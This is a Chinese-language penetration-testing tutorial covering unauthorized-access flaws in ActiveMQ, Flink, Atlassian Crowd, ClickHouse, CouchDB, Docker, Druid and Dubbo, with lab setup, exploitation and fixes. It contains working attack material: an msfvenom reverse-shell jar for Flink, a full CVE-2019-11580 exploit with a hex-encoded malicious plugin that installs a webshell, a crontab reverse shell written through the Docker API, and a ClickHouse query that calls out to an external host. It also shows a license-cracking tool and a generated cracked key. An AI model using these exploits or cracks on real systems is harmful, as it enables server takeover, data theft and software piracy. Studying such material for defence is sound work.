ActiveMQ未授權訪問漏洞
漏洞描述
Apache ActiveMQ是美國阿帕奇(Apache)軟件基金會所研發的一套開源的消息中間件,它支持Java消息服務、集群、Spring Framework等。
Apache ActiveMQ管理控制臺的默認管理用戶名和密碼分別為admin和admin,用戶可以未經授權使用默認憑據直接訪問服務器,導致敏感信息泄露,并進一步進行攻擊。
環境搭建
Download: http://archive.apache.org/dist/activemq/apache-activemq/5.5.0/apache-activemq-5.5.0-bin.tar.gz
[root@localhost bin]# ./activemq start
INFO: Using default configuration
(you can configure options in one of these file: /etc/default/activemq /root/.activemqrc)INFO: Invoke the following command to create a configuration file
./activemq setup [ /etc/default/activemq | /root/.activemqrc ]INFO: Using java '/usr/bin/java'
INFO: Starting - inspect logfiles specified in logging.properties and log4j.properties to get details
INFO: pidfile created : '/tmp/apache-activemq-5.5.0/data/activemq.pid' (pid '2173')
Vulnerability Reproduction
直接訪問:http://192.168.32.183:8161/admin/queues.jsp
修復方案
編輯 ${ACTIVEMQ_HOME}/conf/jetty.xml
開啟身份驗證,將authenticate屬性改為true:
<property name="authenticate" value="true" />
編輯文件conf/jetty-realm.properties
來更改Apache ActiveMQ的默認管理用戶名和密碼,格式如下:
重啟服務就可以進行鑒權
Apache Flink未授權訪問漏洞
漏洞描述
Apache Flink Dashboard默認沒有用戶權限認證,攻擊者可以通過未授權的Flink Dashboard控制臺直接上傳木馬jar包,可遠程執行任意系統命令獲取服務器權限。
環境搭建
測試版本:flink-1.15.1
修改flink-1.15.1/confflink-conf.yaml
,將8081端口開啟。
啟動flink
start-cluster.sh
漏洞利用
訪問web頁面。
利用msfovenom生成rce.jar
┌──(root💀kali)-[/tmp]
└─# msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.32.130 LPORT=4444 -f jar > rce.jar
Payload size: 5310 bytes
Final size of jar file: 5310 bytes
配置msf監聽
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload java/meterpreter/reverse_tcp
payload => java/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 1291.68.32.130
lhost => 1291.68.32.130
msf6 exploit(multi/handler) > set lport 4444
lport => 4444
msf6 exploit(multi/handler) > run
在Submit New Job處上傳rec.jar
文件,點擊submit。
成功getshell。
Atlassian Crowd 未授權訪問漏洞
CVE-2019-11580
漏洞概述
Atlassian Crowd Data Center是Crowd的集群部署版。Atlassian Crowd和Crowd Data Center在其某些發行版本中錯誤地啟用了了pdkinstall開發插件,使其存在安全漏漏洞洞。攻擊者利用該漏洞可在未授權訪問的情況下對Atlassian Crowd和Crowd Data Center安裝任意的惡意插件,執行任意代碼/命令,從而獲得服務器權限
影響版本
- 2.1.0 <= version < 3.0.5
- 3.1.0 <= version < 3.1.6
- 3.2.0 <= version < 3.2.8
- 3.3.0 <= version < 3.3.5
- 3.4.0 <= version < 3.4.4
環境搭建
下載搭建Atlassian-crowd-3.4.3,配置漏洞環境,下載crowd3.4.3的版本
wget https://product-downloads.atlassian.com/software/crowd/downloads/atlassian-crowd-3.4.3.zip
修改配置文件
[root@localhost atlassian-crowd-3.4.3]# pwd
/opt/atlassian-crowd-3.4.3
[root@localhost atlassian-crowd-3.4.3]# vim crowd-webapp/WEB-INF/classes/crowd-init.properties
更改主目錄的路徑
啟動crowd
[root@localhost atlassian-crowd-3.4.3]# sh start_crowd.sh
To run Crowd in the foreground, start the server with start_crowd.sh -fg
Using CATALINA_BASE: /opt/atlassian-crowd-3.4.3/apache-tomcat
Using CATALINA_HOME: /opt/atlassian-crowd-3.4.3/apache-tomcat
Using CATALINA_TMPDIR: /opt/atlassian-crowd-3.4.3/apache-tomcat/temp
Using JRE_HOME: /usr
Using CLASSPATH: /opt/atlassian-crowd-3.4.3/apache-tomcat/bin/bootstrap.jar:/opt/atlassian-crowd-3.4.3/apache-tomcat/bin/tomcat-juli.jar
Using CATALINA_PID: /opt/atlassian-crowd-3.4.3/apache-tomcat/work/catalina.pid
Tomcat started.
訪問8095端口
得到服務器 id B1DP-2T7V-FIPR-PEBO
后通過破解程序atlassian-agent.jar
獲取許可證信息
生成破解碼
[root@localhost tmp]# java -jar /opt/atlassian/atlassian-agent.jar -d -m test@test.com -n test.cn -p crowd -o http://192.168.32.183:8095 -s B1DP-2T7V-FIPR-PEBO ====================================================
======= Atlassian Crack Agent v1.3.1 =======
======= https://zhile.io =======
======= QQ Group: 30347511 =======
====================================================Your license code(Don't copy this line!!!): AAABoQ0ODAoPeJxtUU1v4jAUvPtXRNpzgh1KPpAsbZsYLd18LdAeuJnwaLwkDnIcCvz6JiRopVUvt
jRjv5k382PTgvHalobtGBjPiT/HrsHCjWFj20aBAq5FLUOugfaIiV3TdhA787K9M/TAywZQCE2ux
OmOvMlSVELD3ihFDrIBY3c1Cq1PzXwyuRWiBEvUKFUfXIpmGNKzHUl82yKOZ027y5vOPezPUK7qz
70VDZM21xMkvAIapHHMVsHyORofrDVXGtRoJ6il5rlmMRcl1dDon/1h5XWFRk+/eFPQOPgMFiE5y
lqz/Xa2Za/xkXHnskicJ3ebV8/FH5Jx6YC6pW01+ZveDgW/2NHNW11+f1CKuvlSg+QyB3Y5CXUdg
/L8PijsotH3MqTRMlyzxIyIM/O6xciTS3xvNN9ZFWegWrWA1qDOoLoPLyTMTHvjvpuLZbYyM/aSo
iNc30E1fWTEwdjF3nRKHiLfO8halRe8gf8rHJQ7lAcg++Tu6gOatNUOVHp4azoxapJHaA9tG63b3
b/CB98sod8sODZxL23oQH4BfpvL4jAsAhQt6OiEcmsu5eD6OZo5HBm8DIwpLwIUN7XS/JQ44Zrlu
tReQFf42Id/W0E=X02k4
安裝完成
漏洞利用
CVE-2019-11580.py利用腳本
import requests
import sysbanner = '''\n _______ ________ ___ ___ __ ___ __ __ _____ ___ ___ / ____\ \ / / ____| |__ \ / _ \/_ |/ _ \ /_ /_ | ____|/ _ \ / _ \ | | \ \ / /| |__ ______ ) | | | || | (_) |______| || | |__ | (_) | | | || | \ \/ / | __|______/ /| | | || |\__, |______| || |___ \ > _ <| | | || |____ \ / | |____ / /_| |_| || | / / | || |___) | (_) | |_| |\_____| \/ |______| |____|\___/ |_| /_/ |_||_|____/ \___/ \___/ \npython CVE-2019-11580.py http://xx.xx.xx.xx\n
'''
print bannerdef is_url(url):upload_url = url + "/crowd/admin/uploadplugin.action"r = requests.get(upload_url, verify=False)if r.status_code==400:print upload_urlsend_poc(url)else:print "No Exit /crowd/admin/uploadplugin.action !"def send_poc(url):url_vuln = url + "/crowd/admin/uploadplugin.action"headers = {'User-Agent': 'curl/7.29.0','Accept': '*/*','Content-Length': '5739','Expect': '100-continue','Content-Type': 'multipart/mixed; boundary=----------------------------f15fe87e95a7'}s ="2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d6631356665383765393561370d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2266696c655f63646c223b2066696c656e616d653d227263652e6a6172220d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6f637465742d73747265616d0d0a0d0a504b03041400000008007c7ef14e544c2527eb0000000402000014001c0061746c61737369616e2d706c7567696e2e786d6c55540900039bd32e5da8d32e5d75780b0001040000000004000000007d91416ec3201045d7ce29107b20c91a23e50039c4044f53140c16e0a8bd7d260527ae5595dd7c66febc0f1a8a879c1d0431f9f9ea02bbe177cf6d1ca51dbccc9fe8bdc4af89b30023f6fcb4b4b33304b862e2acce6571c7945d0c3d3f72669f5d7fd9981da3a3eb8c70e12356a5aa90606c8bde5c0314101643c124c87082e22e1eb9296946ad7e66561e03669bdc5488c46c61473269b85aad1bdfe32d8439c8bddc6bb594955afdc2de753a63ba7b2c0d99f2f9e80aaf4ff8aafe798beee93a272f2814c50b4691aed55aa93d6bd80bd8db106362505823caaa9128dab089d6e9e59290b5dafe37890f504b03040a00000000001b7ff14e00000000000000000000000004001c00636f6d2f5554090003c6d42e5dc9d42e5d75780b000104000000000400000000504b03040a00000000001b7ff14e00000000000000000000000008001c00636f6d2f63646c2f5554090003c6d42e5dc9d42e5d75780b000104000000000400000000504b03040a0000000000d07df14e0000000000000000000000000e001c00636f6d2f63646c2f7368656c6c2f555409000357d22e5d59d22e5d75780b000104000000000400000000504b03041400000008008878f14ec2481cb07d0100008d03000016001c00636f6d2f63646c2f7368656c6c2f43646c2e6a61766155540900036fc82e5dbdc82e5d75780b0001040000000004000000008d934d4fc3300c86effd15a617523e22384f3d21049c400c890b97909a35903621714711da7fc75187e8b60ee14395da799fbcb15baff49b5a2068d7485d59196bb4769665a6f12e10bcaaa5ea65c4b0b448b226f2f268362e4ae3e44deb3b9a5340d5b0d277cfd668d056c508179505ec09db2a4eb1aef9311f12f09565c0b1962f9da9a072574862b4e91edf3b8c0401df4f60231fbd6b237221164c827550f81cbda5609ba65d806eaa7258caa5b21ddebe0866ca05d29d0aaa41c220f28ba6ca8b6236a5771df19dcb3cdfacee9e97c2bc8038e01325bb57368a9ca913db52dc05a791fbe6cbfbae25d360b2b45e8a42628f5a3069cbd44f8c06911c963ea94749f10f1d8630e82e4370e16f9d69097479f87476385dffa88d45104297ec4632a9127cf383124ecff73520050f3119780c268da1901f69c1945a8542efb1b2dac96e6656a015e95a5cf61a3d19d7f26739e56118ec71993fb5f931f692dc30f1ed16fcd227c8db60949e19dc61fed91e82d238a60da45596adb26f504b030414000000080085b2f04ecafaf82fe50000000418000017001c00636f6d2f63646c2f7368656c6c2f2e44535f53746f726555540900031add2d5d09df2d5d75780b000104000000000400000000ed98316ec2401045ff382e564ab365ca2da922e5062b0305752e100815b2e42aa95d71176ec1cdc0667e0292b1945444e13f69f40acf8cd7cdee8e0158f5b17e0122800037b6b84a600c2868f3e87a6cb0c427968bba79bfde6b809d9a4fb1468de7cbfa55ddacb8b05d1793c3891f7615420821c418e60a8fb75d8610e20fd2ef0f89ce74eb363e2fe8f2a226d289ce74eb36e6157449073ad289ce74ebe6a6651c3e8c6f364e2816e944e75f7db21077c3832bf6e7ff1ca3f3bf10e21f63e5ec7556e17b2018d09fb5a98b37e6ecbf0a472e0285ff307cc2392fd1996eddba0c08710b8e504b0304140000000800b178f14ed0054a4648030000fa05000017001c00636f6d2f63646c2f7368656c6c2f43646c2e636c6173735554090003bdc82e5d09df2d5d75780b0001040000000004000000008d545d7b1345147e274d32dbedf62ba594fa010202295016152b2608d852a05ad2d214b0f8b9dd8c6571b39b6e26b5fa33bcf4c6cb5e7313409fc71fe02ff12f78637d674925ad7da479f63967e6cc39ef79cf999cf9e3ef5f7f077009be8d31142d4cf4e12cced9388f490b178c766d5cc43b46bc6be33d5c32e27d1b53f8a00f97f1a18d12ca1257243eb23188a211572d5cb33180eb6673ddac3e9698969811c85f09a2405f15e8294edc17c8cec4352530381f44aad2aaafaa64d95b0d69c9d5e25b4a0b2c15e71f7b1bdea6db54c946a8b4fb48eb867b9ba2fac2b0a4d65baaa9cbaf746b36e2a8a9ca266b7f557bfe7777bc469a2ca576436256e2a6c42d89db2c47c0aec6adc457370343c79aa985174c060747304ef633f51a831ccce1138639f814f302707007158905078bb8eb600955023a58c63d07f7718fd00e1ee033e672b08287129f3bf8025f0a8c186c37f4a2357776d3570d1dc491c0d84b6b552741b436dd0ac29a4a1c7c85af0584ede01b90d2aaa134ecc775d7af856ef3910a439784058efe7f53044e1da8b902a70fd65d81a1bd9449eca56931897dd56ceed41bc4ee5cd468697a2aaf2ee0ac29bde8255e5d699530e98bbbef462b4ffcd7242037bcb0a516bedd13b2b0fa58f97aff903c2bf3423219dd2fe2e12ed64bad480775166793dfbf9bd1623770c74ce4acda54bec0995790efb482010344ddd586b11de4ddfde9b8ce26499cecb866a96ae930cd09f4f2f44112a4bdebc65864f2ce41b9abf55d66cedbf76641c0e29c9990bcd768a888c89307ba83ceff92e8968e77eefd5071dfce0f364cde74029713cf57388ec37c7bcc2f0361c68bf235eedea4e64c2177f629c4132e045ea7cca74623df485de82a8a0ceda5f5c77385cc73f464f00cd94a2157ca4e16726de47fc6e56790936d58a5dc380dbda5bc517649f64c59e3f936fa56a6accc2f289c7f0e87376bfdd446ffd6f69f5b3859cafd86c195a7181acfb6315c285098d011ea360e95b25bb02a041e7d420643a8e02e1f3b601d9a3a93f29da61db0f936f471d5cff2067082efe204771731ccd7b4806b1861ec11461f4695cd5867a4a6678bd5fdc03a8f12e106f2db74ee953826f196c4718913e97752e26d7eecca36dd737bce615eb7537fe1985159f6eb74dae833ff00504b030414000000080080b2f04e5e4c2ce8970100000418000011001c00636f6d2f63646c2f2e44535f53746f726555540900030fdd2d5dc8c82e5d75780b000104000000000400000000ed98cf4e833018c0bf32a61063e460e28e5c4c3cecb0c5cd1d8c09c179d8cd04a387693618c491205d06932862780d7d239fc0c751fe7c1ad0ede06953fb4b9a5f295f5b0aa4a500005167661340020001727322cc45c0f40d0ecd2789646d383d878e0c871af35b62ac1ce9b3ab820763b0c0293dbff495384cd2de5b46165d8834026f82912fc6c4b13dbfd178255c85afaead0ba228889be29536a681e6ebfecc53f5693f3d3ad5fdb181f9334a9dcfbc6e9cdb563090b68fa9ebebb66b4db3cab66925219717b66bd240a533d7f4fa8513594703a91686ad76bb2eb7daada82e879d4e23c9ef1f449128ecec368f7ac39bbbfbf0217a7ccac74c080e7eebcbcd782e0fd1f4468e915c242917df6a53d7a1ee35646f3d83c160fc4270f61236967b190c06630549e70719ada0e3dc04cf7368be504742cb68051de72618c7a179b48096d0325a41c7b971d222b8f920d833c11d0a91d0325af9d190198c7f43259794aeff278bf7ff0c06e30f43f8aed65561f1ef8c74ad959334fca800e50f012ce331365d8a6b857219ada0e3dcec4380c15816ef504b030414000000080080b2f04e7261dc5f94010000041800000d001c00636f6d2f2e44535f53746f726555540900030fdd2d5dc8c82e5d75780b000104000000000400000000ed98cf4e833018c0bf32548831723071472e261e76d8e2e60ec684e03cec6632a3876936188b2341ba0c2651c4f01afa463e818fa3fcf9749bba83a7e9fc7e49f32be52b6d81b4140060fad8aa00280020416e41866f91307d41408b4962e93578cf74b8899723fe02e9b32b400f2c709aceccf33b48d2ee6b4616895166e00d31ead91c3ab6e797cb2f4c28882bab6b922c4bf2867cd91af0a0e51bfed8d38d513b3d3a31fc8189f953ce9d8fbc619ed9fda0a36c1d71d7376cb73fca2adb563f09b938b75d8b073a1fbb96d79e3a9135d4518a6158add54a6ab5568d4a6a58af9793fcde7e14c9d2f64ee5b0d9bdbebd0befa387c77cac8ce1a0373fdd84a7c9f02cafe7984907d9a4e8a635721dee5e41f6961304412c01389b49eb8bed064110bf90747e50d11a3acecdf0bc8016a7ea286815ada1e3dc0ce304b48896d00a5a456be838374e5a0c371f0c5b66b84361b8f5602a5afbd19009e2df50c8a5a4ebfff1fcfd3f41104b0c131bad860ef37f6fa46bad9aa4ee7b0598fd10c0321163d3a5b83855aea235749c9b3e04086251bc01504b0304140000000800b57df14ef98bc46d88010000c303000016001c00636f6d2f63646c2f7368656c6c2f6578702e6a617661555409000326d22e5d57d22e5d75780b0001040000000004000000008d53c14ee33010bde72b865c702818f65cf98880130856e2c2c5eb0c8dc1898d3d2941abfe3b63d2d5a66d58ed93123933f39edf4ceca0cdab5e2118df4a533b991a746e5914b60d3e12bce8b51e64c2b87648b2210af264394d4aebe54d177a7aa088ba6566e87f396bc0389d12e010f821ecea34a775cdaf873100bf8b02185bfadadb1a6a7f85242645f7f8d6632288f8760a3bf1147c979013a96225d882e2c7e42b836dda6e05a6add5b8946bed7abc7d16ac295748773aea1609a328b9a8acaae51cdff7c43dabb2dccd9e9fb381acf2186d96a8e47b5e7c492946098bbcf59ee6a1cb0cfb0ce2888b25f7ac5d12257b9929cbb88bde204f3ba8fbbe23db62b6b05db2071cd088c36dff60f2fb725f2a64f62428fe8387318ebccb187dfc37cf7604461d3f5d1ccfe7df1beb1084308add4856aa05777ea4e0ecc77703c8989fbc308d8e95f9c6cae620ba1bd980d1641a7139180c647dc78779cec3781c16aa7ceaca050e92fc784ef647f0577d46795f1865600d9e305fd19f511b9caa8d4a9ba2d8149f504b03041400000008005a7ff14e3ac5f9ef48030000fa05000017001c00636f6d2f63646c2f7368656c6c2f6578702e636c61737355540900033bd52e5da8d32e5d75780b0001040000000004000000008d54db76d34614dde3d81e451171e2244ddd0b1428e00041bdd094da14682040dae084385c02f4a2c8d3202a4b8a2ca7693fa38f7de9639e793197aed50fe897f417fad2748f708a936641bcb4ce191d9db3cf3e7b3cf3e73fcfff007016ae8971940d4c0ce0244e99388d490367b4b74d7c800fb5f9c8c4c738abcd2726a6f0e900cee13313155425ce4b7c6ea280b236170c5c3431884bfae5925e7d21312d7159207fde0bbce482405f79e2b640f672d8500285392f50b5767345c54bce8acf48ae115e5389c06279ee91b3ee6cd82d15affb2ab11f2649645fa7a9bf082caab5b66a25d5d7a6b5a23068a9aaee7aa09e38ee0f379c286d9652bb2231237155e29ac4758e2360d6c376ecaaab9ea663a88de88cee60e14d94c8de6d36586461165fb2ccc257981380851ba849cc5b58c04d0b8ba813d0c2126e59b88d5b84b6700777d9cbc232ee49dcb7f0005f0b8c686cdb7782557b66c35551e28581c0f8cb683d89bd6075baedf90d155bf806df0a08d3c27720a5154d69d80d9bb6dbf0edd643e5fb36090b1c7cb52802c7f625aec0f1fda92b30b49b3289bd0c2dc4a1ab5aaded79bdd09e0da276c24ce53405ac55952c38b1d354898ad9f4c5def7a25527fe1f1290eb8edf56f3dfef2a995f79a4dc64ef923c27737c3219dbabe2de0ed68bed20f19a1cce24bfff5ec6cabdc0dd3091b36a43b902275e43be2b050b0689ba4386f16de49dfa745367e2388cb753b3748df430cd0af4f3eb9dd84bb5ebc55860f3ee876a8ff43d619eb71ff58280e5597d42f24e14a980c893fbda83eeff92e846126eeffb68794fe50b91ee9b9ec0a5d871150ee30dde3dfa9781d0c78bf62dbebd4bcf3385dcc927108fb910789b369f06b57d274d61aa28b3b49fd19f4f1533cfd097c153646bc55c253b59cc7590ff15e79e424e766054722506fa2b79edcc8aec9b324af90e0696a78ccc6f289e7e068b3b6bfcd2c181cdadbf3671b492fb1d85e527182a653b182e166974e9087d07a395ec268c1a81c71e93c1106ab8c9cb0e5843429f49f94e330e98bc1b06b81ae478051ce16a02c3bc538bbc4d477011a3ac2db17a1c754ab0c6d9124ed626c24f9cf22011ae20bfc5e47e894312ef491c9638923e4725dee74355b65892dbf51dfa763bf6370e6997a55ec753a14ffc0b504b01021e031400000008007c7ef14e544c2527eb00000004020000140018000000000001000000ed810000000061746c61737369616e2d706c7567696e2e786d6c55540500039bd32e5d75780b000104000000000400000000504b01021e030a00000000001b7ff14e000000000000000000000000040018000000000000001000ed4139010000636f6d2f5554050003c6d42e5d75780b000104000000000400000000504b01021e030a00000000001b7ff14e000000000000000000000000080018000000000000001000ed4177010000636f6d2f63646c2f5554050003c6d42e5d75780b000104000000000400000000504b01021e030a0000000000d07df14e0000000000000000000000000e0018000000000000001000ed41b9010000636f6d2f63646c2f7368656c6c2f555405000357d22e5d75780b000104000000000400000000504b01021e031400000008008878f14ec2481cb07d0100008d030000160018000000000001000000ed8101020000636f6d2f63646c2f7368656c6c2f43646c2e6a61766155540500036fc82e5d75780b000104000000000400000000504b01021e0314000000080085b2f04ecafaf82fe500000004180000170018000000000000000000a481ce030000636f6d2f63646c2f7368656c6c2f2e44535f53746f726555540500031add2d5d75780b000104000000000400000000504b01021e03140000000800b178f14ed0054a4648030000fa050000170018000000000000000000a48104050000636f6d2f63646c2f7368656c6c2f43646c2e636c6173735554050003bdc82e5d75780b000104000000000400000000504b01021e0314000000080080b2f04e5e4c2ce89701000004180000110018000000000000000000a4819d080000636f6d2f63646c2f2e44535f53746f726555540500030fdd2d5d75780b000104000000000400000000504b01021e0314000000080080b2f04e7261dc5f94010000041800000d0018000000000000000000a4817f0a0000636f6d2f2e44535f53746f726555540500030fdd2d5d75780b000104000000000400000000504b01021e03140000000800b57df14ef98bc46d88010000c3030000160018000000000001000000a4815a0c0000636f6d2f63646c2f7368656c6c2f6578702e6a617661555405000326d22e5d75780b000104000000000400000000504b01021e031400000008005a7ff14e3ac5f9ef48030000fa050000170018000000000000000000a481320e0000636f6d2f63646c2f7368656c6c2f6578702e636c61737355540500033bd52e5d75780b000104000000000400000000504b0506000000000b000b00bf030000cb11000000000d0a2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d6631356665383765393561372d2d0d0a"data = s.decode("hex")r = requests.post(url=url_vuln, headers=headers, data=data, verify=False)if r.status_code ==200 and "Installed" in r.content:printprint r.contentgetwebshell(url)else:print "No Exit!"
def getwebshell(url):webshell_url = url + "/crowd/plugins/servlet/exp?cmd=whoami"r = requests.get(webshell_url, verify=False)if r.status_code==200:print ">>>Get Webshell\n"print webshell_url+'\n'print "Exec command= whoami\n\nResult= %s"%r.textif __name__ == '__main__':url = sys.argv[1]is_url(url)
[root@localhost CVE-2019-11580-master]# python CVE-2019-11580.py http://192.168.32.183:8095_______ ________ ___ ___ __ ___ __ __ _____ ___ ___ / ____\ \ / / ____| |__ \ / _ \/_ |/ _ \ /_ /_ | ____|/ _ \ / _ \ | | \ \ / /| |__ ______ ) | | | || | (_) |______| || | |__ | (_) | | | || | \ \/ / | __|______/ /| | | || |\__, |______| || |___ \ > _ <| | | || |____ \ / | |____ / /_| |_| || | / / | || |___) | (_) | |_| |\_____| \/ |______| |____|\___/ |_| /_/ |_||_|____/ \___/ \___/ python CVE-2019-11580.py http://xx.xx.xx.xxhttp://192.168.32.183:8095/crowd/admin/uploadplugin.actionInstalled plugin /opt/atlassian-crowd-3.4.3/apache-tomcat/temp/plugindev-7114709723171005763rce.jar>>>Get Webshellhttp://192.168.32.183:8095/crowd/plugins/servlet/exp?cmd=whoamiExec command= whoamiResult= root
然后訪問獲取的shell地址,無需認證登錄即可獲取IP地址。
clickhouse 未授權訪問漏洞
漏洞描述
惡意攻擊者可以在不提供有效憑據的情況下訪問 ClickHouse 服務器。這可能導致未經授權的訪問敏感數據,或允許攻擊者修改或刪除數據。默認情況下,clickhouse-server會在8123端口上監控HTTP請求(這可以在配置中修改)。
環境搭建
sudo apt-get install -y apt-transport-https ca-certificates dirmngr
sudo apt-key adv --keyserver hkp://keyserver.ubuntu.com:80 --recv 8919F6BD2B48D754echo "deb https://packages.clickhouse.com/deb stable main" | sudo tee \/etc/apt/sources.list.d/clickhouse.list
sudo apt-get updatesudo apt-get install -y clickhouse-server clickhouse-clientsudo service clickhouse-server start
clickhouse-client
漏洞復現
首先確定是否使用了 ClickHouse 數據庫的接口
curl http://192.168.0.5:8123
根據文檔得知,正常返回為 Ok. , 且存在 X-ClickHouse-Summary
作為返回包的 Header
測試是否可以執行SQL命令, 部分會開啟身份驗證導致未授權執行失敗
/?query=SHOW%20DATABASES
成功執行語句獲取數據,執行其他命令探測出網
http://192.168.0.5:8123/?query=SELECT%20*%20FROM%20url(%27http://cf1cfb13.dns.1433.eu.org/%27,%20CSV,%20%27column1%20String,%20column2%20UInt32%27)%20LIMIT%203;
可以查看 system庫中的執行記錄表來獲取最近執行的所有SQL語句來快速定位可利用的信息(獲取敏感用戶信息,數據庫名以及數據表名)
CouchDB未授權訪問漏洞
漏洞描述
CouchDB因配置不當可以未授權訪問,被攻擊者惡意利用。
攻擊者無需認證訪問到內部數據,可能導致敏感信息泄露,黑客也可以惡意清空所有數據。
漏洞搭建
https://github.com/vulhub/vulhub/blob/master/couchdb/CVE-2017-12636/README.zh-cn.md
使用docker-compose啟動。
cd couchdb/CVE-2017-12636/
docker-compose up -d
漏洞利用
訪問5984端口,就可以看到版本信息。
訪問/_config
接口,可以看到couchDB配置信息。
Docker未授權訪問漏洞
漏洞描述
惡意攻擊者可以在未經授權的情況下訪問 Docker 服務器或容器。這可能導致敏感數據泄露,或允許攻擊者執行未經授權的操作,如添加、修改或刪除容器。
環境搭建
安裝docker
yum install -y docker
修改/usr/lib/systemd/system/docker.service
服務,啟動API接口。
ExecStart=/usr/local/bin/dockerd -H tcp://0.0.0.0:2375 -H unix://var/run/docker.sock
重啟docker服務。
systemctl daemon-reload
systemctl restart docker
漏洞復現
輸入ip:2375/version
就會列出基本信息,和docker version命令效果一樣。
利用docker容器寫定時任務反彈shell
我們可以利用未授權訪問的docker remote api 開啟一個容器并掛載至根目錄,由此我們可以獲得任意讀寫的權限,然后我們再將反彈shell命令寫入定時任務crontab中,即可使宿主機反彈shell。
[root@localhost ~]# docker -H tcp://192.168.32.183:2375 run -it --user root --privileged -v /var/spool/cron/:/var/spool/cron/ alpine sh
寫入定時計劃
/ # echo '* * * * * bash -i >& /dev/tcp/192.168.32.130/8088 0>&1' >> /var/spool/cron/root
安全加固
在不必需的情況下,不要啟用docker的remote api服務,如果必須使用的話,可以采用如下的加固方式:
設置ACL,僅允許信任的來源IP連接;
設置TLS認證,官方的文檔為Protect the Docker daemon socket
客戶端與服務器端通訊的證書生成后,可以通過以下命令啟動docker daemon:
docker -d --tlsverify --tlscacert=ca.pem --tlscert=server-cert.pem --tlskey=server-key.pem -H=tcp://10.10.10.10:2375 -H unix:///var/run/docker.sock
客戶端連接時需要設置以下環境變量
export DOCKER_TLS_VERIFY=1
export DOCKER_CERT_PATH=~/.docker
export DOCKER_HOST=tcp://10.10.10.10:2375
export DOCKER_API_VERSION=1.12
druid 監控頁未授權訪問漏洞
漏洞簡介
Druid是阿里巴巴數據庫出品的,為監控而生的數據庫連接池,并且Druid提供的監控功能,監控SQL的執行時間、監控Web URI的請求、Session監控,首先Druid是不存在什么漏洞的。但當開發者配置不當時就可能造成未授權訪問.
環境搭建
pom.xml配置
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd"><modelVersion>4.0.0</modelVersion><parent><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-parent</artifactId><version>2.6.3</version><relativePath/> <!-- lookup parent from repository --></parent><groupId>com.example</groupId><artifactId>demo</artifactId><version>0.0.1-SNAPSHOT</version><name>demo</name><description>Demo project for Spring Boot</description><properties><java.version>1.8</java.version></properties><dependencies><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-jdbc</artifactId></dependency><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-web</artifactId></dependency><dependency><groupId>org.mybatis.spring.boot</groupId><artifactId>mybatis-spring-boot-starter</artifactId><version>2.2.2</version></dependency><dependency><groupId>mysql</groupId><artifactId>mysql-connector-java</artifactId><scope>runtime</scope></dependency><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-test</artifactId><scope>test</scope></dependency><dependency><groupId>com.alibaba</groupId><artifactId>druid-spring-boot-starter</artifactId><version>1.1.1</version></dependency></dependencies><build><plugins><plugin><groupId>org.springframework.boot</groupId><artifactId>spring-boot-maven-plugin</artifactId></plugin><plugin><groupId>org.apache.maven.plugins</groupId><artifactId>maven-resources-plugin</artifactId><version>3.1.0</version></plugin></plugins></build></project>
application.properties
配置
#數據庫連接
spring.datasource.type=com.alibaba.druid.pool.DruidDataSource
spring.datasource.url=jdbc:mysql://127.0.0.1:3306/t1?serverTimezone=Asia/Shanghai
spring.datasource.username=sec
spring.datasource.password=sec123##啟用StatFilter
spring.datasource.druid.web-stat-filter.enabled=true#啟用內置的監控頁面
spring.datasource.druid.stat-view-servlet.enabled=true
漏洞復現
直接訪問druid/index.html
。
可以通過session功能進行偽造用戶進行登錄
修復方法
禁用durid
application.properties
配置
spring.datasource.druid.stat-view-servlet.enabled=false
spring.datasource.druid.web-stat-filter.enabled=false
設置鑒權
#設置登錄用戶名
spring.datasource.druid.stat-view-servlet.login-username=admin
#設置登錄密碼
spring.datasource.druid.stat-view-servlet.login-password=123
修改路徑
##內置監控頁面的地址
spring.datasource.druid.stat-view-servlet.url-pattern=/druid11111111111111111111111111111/*
Dubbo 未授權訪問漏洞
漏洞簡介
Dubbo是阿里巴巴公司開源的一個高性能優秀的 服務框架,使得應用可通過高性能的 RPC 實現服務的輸 出和輸入功能,可以和 Spring框架無縫集成。dubbo 因配置不當導致未授權訪問漏洞。
環境搭建
git clone https://github.com/alibaba/dubbo/tree/2.5.x
進入dubbo-2.5.x 目錄
執行mvn clean package -Dmaven.test.skip=true
會生成如下結果
在dubbo-2.5.x/dubbo-simple/dubbo-monitor-simple/target
目錄會發現生成了dubbo-monitor-simple-2.5.10-assembly.tar.gz
,解壓這個文件夾
查看配置文件,會看到dubbo協議端口為7070
[root@localhost dubbo-monitor-simple-2.5.10]# cat conf/dubbo.properties dubbo.container=log4j,spring,registry,jetty
dubbo.application.name=simple-monitor
dubbo.application.owner=
dubbo.registry.address=multicast://224.5.6.7:1234
#dubbo.registry.address=zookeeper://127.0.0.1:2181
#dubbo.registry.address=redis://127.0.0.1:6379
#dubbo.registry.address=dubbo://127.0.0.1:9090
dubbo.protocol.port=7070
dubbo.jetty.port=8080
dubbo.jetty.directory=${user.home}/monitor
dubbo.charts.directory=${dubbo.jetty.directory}/charts
dubbo.statistics.directory=${user.home}/monitor/statistics
dubbo.log4j.file=logs/dubbo-monitor-simple.log
啟動dubbo
[root@localhost dubbo-monitor-simple-2.5.10]# bin/start.sh
漏洞利用
nc連接7070
端口,7070端口允許您執行各種管理任務,如查看注冊表的狀態、列出可用服務和查看注冊表的日志級別。
[root@localhost dubbo-monitor-simple-2.5.10]# nc 127.0.0.1 7070
ls
com.alibaba.dubbo.monitor.MonitorService
dubbo>help
